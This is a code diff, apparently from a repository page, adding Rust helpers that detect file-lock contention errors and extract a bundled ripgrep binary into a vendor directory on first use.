||||
pub mod ripgrep;
|
||||
|
||||
use std::io;
|
||||
|
||||
/// True if `e` reports that an advisory `flock` is held by another process.
|
||||
/// Unix surfaces this as `WouldBlock`; Windows as `ERROR_LOCK_VIOLATION` (OS
|
||||
/// error 33), matched via [`fs2::lock_contended_error`].
|
||||
pub fn is_lock_contended(e: &io::Error) -> bool {
|
||||
e.kind() == io::ErrorKind::WouldBlock
|
||||
|| (e.raw_os_error().is_some()
|
||||
&& e.raw_os_error() == fs2::lock_contended_error().raw_os_error())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn is_lock_contended_classifies_errors() {
|
||||
assert!(is_lock_contended(&fs2::lock_contended_error()));
|
||||
assert!(is_lock_contended(&io::Error::new(
|
||||
io::ErrorKind::WouldBlock,
|
||||
"would block"
|
||||
)));
|
||||
#[cfg(windows)]
|
||||
assert!(is_lock_contended(&io::Error::from_raw_os_error(33)));
|
||||
assert!(!is_lock_contended(&io::Error::new(
|
||||
io::ErrorKind::PermissionDenied,
|
||||
"denied"
|
||||
)));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
#![allow(unexpected_cfgs)] // bundle_rg is set by the shell build script; harmless warning in the workspace lib
|
||||
|
||||
use std::path::PathBuf;
|
||||
use std::sync::OnceLock;
|
||||
|
||||
#[cfg(bundle_rg)]
|
||||
const RG_BYTES: &[u8] = include_bytes!(concat!(
|
||||
env!("KIGI_SHELL_RG_GEN_DIR"),
|
||||
"/rg-",
|
||||
env!("KIGI_SHELL_RG_VER"),
|
||||
"-",
|
||||
env!("KIGI_SHELL_RG_TARGET"),
|
||||
".bin"
|
||||
));
|
||||
|
||||
#[cfg(bundle_rg)]
|
||||
fn resolve_bundled_rg() -> std::io::Result<PathBuf> {
|
||||
use std::{fs, os::unix::fs::PermissionsExt};
|
||||
let p = kigi_tools::util::kigi_home::kigi_home()
|
||||
.join("vendor")
|
||||
.join(concat!(
|
||||
"rg-",
|
||||
env!("KIGI_SHELL_RG_VER"),
|
||||
"-",
|
||||
env!("KIGI_SHELL_RG_TARGET")
|
||||
));
|
||||
if !p.exists() {
|
||||
fs::create_dir_all(p.parent().unwrap())?;
|
||||
fs::write(&p, RG_BYTES)?;
|
||||
let mut perms = fs::metadata(&p)?.permissions();
|
||||
perms.set_mode(0o755);
|
||||
fs::set_permissions(&p, perms)?;
|
||||
}
|
||||
Ok(p)
|
||||
}
|
||||
|
||||
pub fn rg_path() -> PathBuf {
|
||||
static RG_EXEC: OnceLock<PathBuf> = OnceLock::new();
|
||||
RG_EXEC
|
||||
.get_or_init(|| {
|
||||
#[cfg(bundle_rg)]
|
||||
{
|
||||
resolve_bundled_rg().unwrap_or_else(|_| PathBuf::from("rg"))
|
||||
}
|
||||
#[cfg(not(bundle_rg))]
|
||||
{
|
||||
PathBuf::from("rg")
|
||||
}
|
||||
})
|
||||
.clone()
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user